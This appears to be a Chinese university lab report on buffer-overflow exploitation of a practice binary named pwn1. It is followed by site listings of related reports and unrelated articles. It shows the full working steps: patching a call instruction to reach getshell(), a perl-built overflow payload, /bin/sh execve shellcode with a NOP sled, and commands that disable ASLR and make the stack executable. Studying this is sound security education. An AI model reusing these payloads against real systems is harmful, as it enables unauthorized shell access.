2018-2019-2 20165312《网络攻防技术》Exp1 PC平台逆向破解

一、Exp1.1 直接修改程序机器指令,改变程序执行流程

知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具

实验思路:pwn1_1中main()调用foo(),此实验旨在修改程序机器指令,使得main()调用getshell()。

实验步骤:

  • 反汇编:查看pwn1的代码机器指令和汇编语言objdump -d pwn1 | more



main()中call指令指向foo()的内存地址0x08048491,对应的机器指令为ffffffd7。现在想把call指令指向getshell()的内存地址0x0804847d,就要修改相应的机器指令。经过计算相应的机器指令为ffffffc3

  • 修改机器指令

    • vi pwn1_1显示为一堆乱码,因为vi只编辑有效的ASCII码
    • :%!xxd转化为十六进制显示
    • /d7快速搜索定位到需要修改的地方
    • :%!xxd -r修改成功后,返回到原来的ASCII处
    • :wq!保存修改退出
  • 验证是否修改成功:进行反汇编查看机器指令和汇编语言objdump -d pwn1_1 | more

./pwn1_1

二、Exp1.2通过构造输入参数,造成BOF攻击,改变程序执行流

知识要求:堆栈结构,返回地址

学习目标:理解攻击缓冲区的结果,掌握返回地址的获取

实验思路:

实验步骤

  • 确认返回地址:

    objdump -d pwn1_2 | more查看getshell()的内存地址

在执行完foo()后,eip指向main()中call指令的下一条指令,现在要修改为getshell()的内存地址,即由0x080484ba修改为0x0804847d

  • 反汇编:查看foo()的所占字节长
objdump -d pwn1_2 | more

分析可得,0x1c换算为十进制为28,28+4=32。

  • gdb调试:查看eip寄存器的值,验证foo()所占字节长
info r

eip寄存器的值为0x31313131,通过查询ASCII码转换表,发现其与1111相对应。此时可以验证foo()所占字节为32.

  • 构造输入字符串:

    由于无法键盘输入字符串\x7d\x84\x04\x08\,所以生成包含字符串的文件BOF.1perl -e 'print "12345678123456781234567812345678\x7d\x84\x04\x08\x0a"' >EOF.1。将BOF.1的输出作为pwn1_2的输入,并且执行pwn1_2(cat BOF.1;cat) | ./pwn1_2

三、Exp1.3注入Shellcode并执行

有关shellcode:为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe)的机器指令。在此实验中,使用许心远学姐博客提供的shellcode:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

实验思路:注入shellcode即返回地址为shellcode的起始地址(此时shellcode在返回地址后,也可以在前面)

实验步骤

  • 准备工作

    • 下载execstack程序:apt-get install execstack
    • 设置堆栈可执行: execstack -s pwn1_3
    • 查询文件的堆栈是否可执行:execstack -s pwn1_3
    • 查看地址随机化的状态:more /proc/sys/kernel/randomize_va_space
    • 关闭地址随机化:echo "0" > /proc/sys/kernel/randomize_va_space

  • 构造要注入的payload

    • 我们选择NSR溢出模式来攻击buf,nop的机器码90
    • 构造shellcode:perl -e 'print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input-shellcode
    • 注入:(cat input-shellcode;cat) | ./pwn1_3

    • 另外打开一个终端2,查看执行文件进程号:ps -ef | grep pwn1_3

    • 进入gdb调试,连接进程号attach 2721

    • 设置断点查看注入buf的内存地址:

      • 反汇编:disassemble foo

      • 设置断点:break *0x080484ae
      • 在终端1敲回车键后,在终端2continue
      • 查看esp栈顶指针的地址:info r esp

      • 显示内存的值:x/16x 0xffffd33c
      • 通过查阅资料,由于foo()中leave指令达到mov esp,ebppop ebp的作用,esp指针指向原ebp指针的位置。所以shellcode的地址为0xffffd340
      • 退出gdb调试
    • 回到终端1exit退出

    • 修改shellcode中的内容:perl -e 'print "A" x 32;print "\x40\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input-shellcode

    • 运行:(cat input-shellcode;cat) | ./pwn1_3

四、实验中遇到的问题及解决方案

1.运行pwn1_1时,遇到了没有那个文件或目录的问题

解决方案:

  • 切换到root用户,用文件编辑器source.list
leafpad /etc/apt/sources.list
  • 添加下列更新源
#阿里云kali源
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free
deb-src http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free #中科大kali源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free
deb-src http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free
  • 更新软件
apt-get clean
apt-get update
  • 安装32位运行库
apt-get install lib32z1

参考博客链接

2.在gdb调试pwn1_3时,无法连接到进程号。

在张羽昕同学的帮助下,发现是获取进程号的指令和gdb调试未在同一个终端下,改正后连接成功。

3.在做Exp1.3时,无法下载execstack

原因是可能之前在运行apt-get指令未执行完就退出了,只需要结束此进程就可以

sudo rm /var/cache/apt/archives/lock
sudo rm /var/lib/dpkg/lock

参考博客链接

五、报告小结

  • 实验收获与感想

通过三个小实验以及刘老师课上的讲解,对缓冲区溢出攻击有了更多的了解。听老师讲和自己做还是存在差别,实验中遇到的问题也通过同学的帮助或者百度解决。以后还要通过更多的实践操作巩固所学。

  • 什么是漏洞?漏洞有什么危害?

漏洞:在硬件、软件或协议在设计时存在的缺陷,攻击者能够在未授权的情况下进行非法操作。缓冲区溢出就是一个漏洞。危害:黑客入侵、病毒的驻留、数据丢失和篡改、隐私泄露甚至经济上的损失。

  • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
  • NOP:空指令,什么也不做,可以理解为“滑档区”,一直跳到下一条指令 。
  • JNE:条件跳转指令,若不相等则跳转。
  • JE:条件跳转指令,若相等则跳转。
  • JMP:无条件转移指令,可转到内存中任何程序段。转移地址可在指令中给出,或在寄存器中给出,或在存储器中指出。
  • CMP:比较指令,相当于减法的功能,但是不保存结果,只是影响相应的标志位。
  • 掌握反汇编与十六进制编程器
  • 反汇编指令(参考博客链接)

    • objdump -d file反汇编需要执行指令的那些section
    • objdump -f file显示文件头信息
    • objdump -D file与-d类似,但反汇编中的所有section
    • objdump -h file显示Section Header信息
    • objdump -x file显示全部Header信息
    • objdump -s file将所有段的内容以十六进制的方式打印出来
  • 十六进制编辑器
    • vi进入编辑器,此时为二进制。若发现为乱码,猜测为十六进制显示
    • esc键之后输入:%!xxd转化为十六进制
    • 进入十六进制后,可以使用/搜索指定的内容
    • esc键之后输入:%!xxd -r转化为二进制,保存即可退出。

2018-2019-2 20165312《网络攻防技术》Exp1 PC平台逆向破解的更多相关文章

  1. 20155308《网络攻防》 Exp1 PC平台逆向破解(5)M

    20155308<网络攻防> Exp1 PC平台逆向破解(5)M 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是 ...

  2. 20155226 《网络攻防》 Exp1 PC平台逆向破解(5)M

    20155226 <网络攻防> Exp1 PC平台逆向破解(5)M 实践目标 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串 该程序同时包含另一个代 ...

  3. 20155321 《网络攻防》 Exp1 PC平台逆向破解(5)M

    20155321 <网络攻防> Exp1 PC平台逆向破解(5)M 实践目标 本次实践的对象是linux的可执行文件 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何 ...

  4. 20155330 《网络攻防》Exp1 PC平台逆向破解(5)M

    20155330 <网络攻防>Exp1 PC平台逆向破解(5)M 实践目标 运行pwn1可执行文件中的getshell函数,学习如何注入运行任何Shellcode 本次实践的对象是一个名为 ...

  5. 20155213 《网络攻防》 Exp1 PC平台逆向破解

    20155213 <网络攻防> Exp1 PC平台逆向破解(5)M 实践内容 通过对实践对象--pwn20155213的linux可执行文件的修改或输入,完成以下三块: 手工修改可执行文件 ...

  6. 20155220 吴思其 《网络攻防》 Exp1 PC平台逆向破解(5)M

    20155220 <网络攻防> Exp1 PC平台逆向破解(5)M 实践内容 通过对实践对象--20155220pwn1的linux可执行文件的修改或输入,完成以下三块: 手工修改可执行文 ...

  7. 20155306 白皎 《网络攻防》Exp1 PC平台逆向破解——逆向与Bof基础

    20155306 白皎 <网络攻防>Exp1 PC平台逆向破解--逆向与Bof基础 实践相关说明 1.1 实践目标 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数. ...

  8. 20155309南皓芯 网络对抗《网络攻防》 Exp1 PC平台逆向破解(5)M

    实践目标 本次实践的对象是linux的可执行文件 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含另一个代码片段,getShell,会返回一个可 ...

  9. 20155323刘威良 网络对抗《网络攻防》 Exp1 PC平台逆向破解(5)M

    实践目标 本次实践的对象是linux的可执行文件 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含另一个代码片段,getShell,会返回一个可 ...

  10. 20155324《网络对抗》Exp1 PC平台逆向破解(5)M

    20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...

随机推荐

  1. 2018-计算机系机试(第二批)-B-二进制输出

    B. 二进制输出 单点时限: 1.0 sec 内存限制: 256 MB 输入一个十进制表示的非负整数,输出其 8 位二进制表示. 例如:输入 10 ,输出 00001010. 输入格式 一行一个非负整 ...

  2. String为什么是final类型的

    String的源码如下: public final class String implements Serializable, Comparable<String>, CharSequen ...

  3. Python第十课学习

    Python第十课学习 www.cnblogs.com/yuanchenqi/articles/5828233.html 函数: 1 减少代码的重复 2 更易扩展,弹性更强:便于日后文件功能的修改 3 ...

  4. 在IE浏览器中url传参长度问题

    1.在这之前我一直以为,应该说是并没有去思考过,url地址传参的长度限制问题:知道在项目材料价格系统中遇到之后,才对这个问题进行了具体的探索.IE中最大的长度限制为2084个,用于get传递数据的长度 ...

  5. Heap Sort - recursion

    Heap Sort  Build a max heap using exsiting array, which is called Heapify Swap root with the last el ...

  6. 浅谈MVC中的service层(转)

    概述 mvc框架由model,view,controller组成,执行流程一般是:在controller访问model获取数据,通过view渲染页面. mvc模式是web开发中的基础模式,采用的是分层 ...

  7. oracle中left join,right join,inner join的坑

    本文主要是记录一下实际使用oracle中join查询遇到的坑 1.用到两张表,学生表和学年分数表,先建立 2.普通连接查询 INNER JOIN,查询每个学年有成绩的学生以及分数情况 LFET JOI ...

  8. 【EMV L2】Select PSE应用选择相关的卡片数据格式

    The data field of the response message contains the FCI specific to the selected PSE, DDF, or ADF. 一 ...

  9. linux文本处理命令

    linux文本处理命令 1.wc命令 基本介绍 文件的行统计.字符统计.字节统计 基本语法 wc  [OPTION]...  [FILE]... wc  [OPTION]...  --files0-f ...

  10. MySQL-01-基础

    大纲 1)mysql存储结构: 数据库 -> 表 -> 数据   sql语句 2)管理数据库: 增加: create database 数据库 default character utf8 ...